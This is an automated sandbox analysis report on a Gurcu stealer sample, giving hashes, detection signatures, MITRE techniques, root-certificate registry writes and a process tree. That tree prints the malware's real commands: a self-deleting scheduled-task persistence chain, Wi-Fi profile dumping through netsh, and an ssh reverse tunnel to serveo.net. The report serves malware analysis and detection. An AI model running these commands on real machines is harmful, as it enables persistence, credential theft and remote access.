gurcu | 0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5

Analysis

max time kernel
146s
max time network
155s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13-09-2023 16:16

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General

Target

Vfd663501e1ac13eb331505b8388e675450.exe
Size

121KB
MD5

35625d89730f70f12ecdeaf795722865
SHA1

0fedcad5039e3317d0e434bb038b81850e8f3599
SHA256

0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5
SHA512

edef804d22bf09d6eb3dfa397fb8ca609967a4af77db0cbb79aafee1510cd7f0a6087f7b66316592b14bff775df20b0877a58c9ee14fbe77a91171a7559fb301
SSDEEP

3072:qQ2NGg7V7MOrwPRT3KhM9bFcLyoDtfXtRW5FhpAB0H/aAz:aGmg9bFc/p25FJa

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 5 IoCs

resource	yara_rule
behavioral1/memory/2972-0-0x00000000010E0000-0x0000000001104000-memory.dmp	family_gurcu_v3
behavioral1/files/0x000800000001210a-7.dat	family_gurcu_v3
behavioral1/files/0x000800000001210a-8.dat	family_gurcu_v3
behavioral1/memory/2880-9-0x0000000001170000-0x0000000001194000-memory.dmp	family_gurcu_v3
behavioral1/files/0x000800000001210a-125.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Deletes itself 1 IoCs

pid	Process
2984	cmd.exe

Executes dropped EXE 4 IoCs

pid	Process
2880	Vfd663501e1ac13eb331505b8388e675450.exe
640	ssh.exe
1808	Vfd663501e1ac13eb331505b8388e675450.exe
2128	ssh.exe

Loads dropped DLL 2 IoCs

pid	Process
640	ssh.exe
2128	ssh.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2772	schtasks.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Vfd663501e1ac13eb331505b8388e675450.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Vfd663501e1ac13eb331505b8388e675450.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Vfd663501e1ac13eb331505b8388e675450.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Vfd663501e1ac13eb331505b8388e675450.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Vfd663501e1ac13eb331505b8388e675450.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Vfd663501e1ac13eb331505b8388e675450.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Vfd663501e1ac13eb331505b8388e675450.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Vfd663501e1ac13eb331505b8388e675450.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2016	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2880	Vfd663501e1ac13eb331505b8388e675450.exe
2880	Vfd663501e1ac13eb331505b8388e675450.exe
1808	Vfd663501e1ac13eb331505b8388e675450.exe
1808	Vfd663501e1ac13eb331505b8388e675450.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2972	Vfd663501e1ac13eb331505b8388e675450.exe
Token: SeDebugPrivilege	2880	Vfd663501e1ac13eb331505b8388e675450.exe
Token: SeDebugPrivilege	1808	Vfd663501e1ac13eb331505b8388e675450.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2984	2972	Vfd663501e1ac13eb331505b8388e675450.exe	28
PID 2972 wrote to memory of 2984	2972	Vfd663501e1ac13eb331505b8388e675450.exe	28
PID 2972 wrote to memory of 2984	2972	Vfd663501e1ac13eb331505b8388e675450.exe	28
PID 2984 wrote to memory of 2332	2984	cmd.exe	30
PID 2984 wrote to memory of 2332	2984	cmd.exe	30
PID 2984 wrote to memory of 2332	2984	cmd.exe	30
PID 2984 wrote to memory of 2016	2984	cmd.exe	31
PID 2984 wrote to memory of 2016	2984	cmd.exe	31
PID 2984 wrote to memory of 2016	2984	cmd.exe	31
PID 2984 wrote to memory of 2772	2984	cmd.exe	32
PID 2984 wrote to memory of 2772	2984	cmd.exe	32
PID 2984 wrote to memory of 2772	2984	cmd.exe	32
PID 2984 wrote to memory of 2880	2984	cmd.exe	33
PID 2984 wrote to memory of 2880	2984	cmd.exe	33
PID 2984 wrote to memory of 2880	2984	cmd.exe	33
PID 2880 wrote to memory of 2616	2880	Vfd663501e1ac13eb331505b8388e675450.exe	34
PID 2880 wrote to memory of 2616	2880	Vfd663501e1ac13eb331505b8388e675450.exe	34
PID 2880 wrote to memory of 2616	2880	Vfd663501e1ac13eb331505b8388e675450.exe	34
PID 2616 wrote to memory of 2492	2616	cmd.exe	36
PID 2616 wrote to memory of 2492	2616	cmd.exe	36
PID 2616 wrote to memory of 2492	2616	cmd.exe	36
PID 2616 wrote to memory of 1824	2616	cmd.exe	38
PID 2616 wrote to memory of 1824	2616	cmd.exe	38
PID 2616 wrote to memory of 1824	2616	cmd.exe	38
PID 2616 wrote to memory of 2944	2616	cmd.exe	37
PID 2616 wrote to memory of 2944	2616	cmd.exe	37
PID 2616 wrote to memory of 2944	2616	cmd.exe	37
PID 2880 wrote to memory of 1428	2880	Vfd663501e1ac13eb331505b8388e675450.exe	39
PID 2880 wrote to memory of 1428	2880	Vfd663501e1ac13eb331505b8388e675450.exe	39
PID 2880 wrote to memory of 1428	2880	Vfd663501e1ac13eb331505b8388e675450.exe	39
PID 1428 wrote to memory of 1588	1428	cmd.exe	41
PID 1428 wrote to memory of 1588	1428	cmd.exe	41
PID 1428 wrote to memory of 1588	1428	cmd.exe	41
PID 1428 wrote to memory of 804	1428	cmd.exe	42
PID 1428 wrote to memory of 804	1428	cmd.exe	42
PID 1428 wrote to memory of 804	1428	cmd.exe	42
PID 1428 wrote to memory of 1076	1428	cmd.exe	43
PID 1428 wrote to memory of 1076	1428	cmd.exe	43
PID 1428 wrote to memory of 1076	1428	cmd.exe	43
PID 2880 wrote to memory of 640	2880	Vfd663501e1ac13eb331505b8388e675450.exe	45
PID 2880 wrote to memory of 640	2880	Vfd663501e1ac13eb331505b8388e675450.exe	45
PID 2880 wrote to memory of 640	2880	Vfd663501e1ac13eb331505b8388e675450.exe	45
PID 2880 wrote to memory of 640	2880	Vfd663501e1ac13eb331505b8388e675450.exe	45
PID 2100 wrote to memory of 1808	2100	taskeng.exe	48
PID 2100 wrote to memory of 1808	2100	taskeng.exe	48
PID 2100 wrote to memory of 1808	2100	taskeng.exe	48
PID 1808 wrote to memory of 1100	1808	Vfd663501e1ac13eb331505b8388e675450.exe	49
PID 1808 wrote to memory of 1100	1808	Vfd663501e1ac13eb331505b8388e675450.exe	49
PID 1808 wrote to memory of 1100	1808	Vfd663501e1ac13eb331505b8388e675450.exe	49
PID 1100 wrote to memory of 2864	1100	cmd.exe	51
PID 1100 wrote to memory of 2864	1100	cmd.exe	51
PID 1100 wrote to memory of 2864	1100	cmd.exe	51
PID 1100 wrote to memory of 2908	1100	cmd.exe	52
PID 1100 wrote to memory of 2908	1100	cmd.exe	52
PID 1100 wrote to memory of 2908	1100	cmd.exe	52
PID 1100 wrote to memory of 552	1100	cmd.exe	53
PID 1100 wrote to memory of 552	1100	cmd.exe	53
PID 1100 wrote to memory of 552	1100	cmd.exe	53
PID 1808 wrote to memory of 2028	1808	Vfd663501e1ac13eb331505b8388e675450.exe	54
PID 1808 wrote to memory of 2028	1808	Vfd663501e1ac13eb331505b8388e675450.exe	54
PID 1808 wrote to memory of 2028	1808	Vfd663501e1ac13eb331505b8388e675450.exe	54
PID 2028 wrote to memory of 1600	2028	cmd.exe	56
PID 2028 wrote to memory of 1600	2028	cmd.exe	56
PID 2028 wrote to memory of 1600	2028	cmd.exe	56

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe

C:\Users\Admin\AppData\Local\Temp\Vfd663501e1ac13eb331505b8388e675450.exe
"C:\Users\Admin\AppData\Local\Temp\Vfd663501e1ac13eb331505b8388e675450.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "Vfd663501e1ac13eb331505b8388e675450" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\Vfd663501e1ac13eb331505b8388e675450.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2332
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2016
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Vfd663501e1ac13eb331505b8388e675450" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:2772
- - C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2880
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2616
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2492
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:2944
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:1824
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1428
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1588
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:804
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:1076
  - - C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
      "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6298 serveo.net
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:640

C:\Windows\system32\taskeng.exe
taskeng.exe {20093F4E-FC6E-41BE-819B-328F0E8BE865} S-1-5-21-3513876443-2771975297-1923446376-1000:GPFFWLPI\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe
  C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe
  2⤵
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:1808
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2864
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:2908
  - - C:\Windows\system32\findstr.exe
      findstr /R /C:"[ ]:[ ]"
      4⤵
      PID:552
- - C:\Windows\system32\cmd.exe
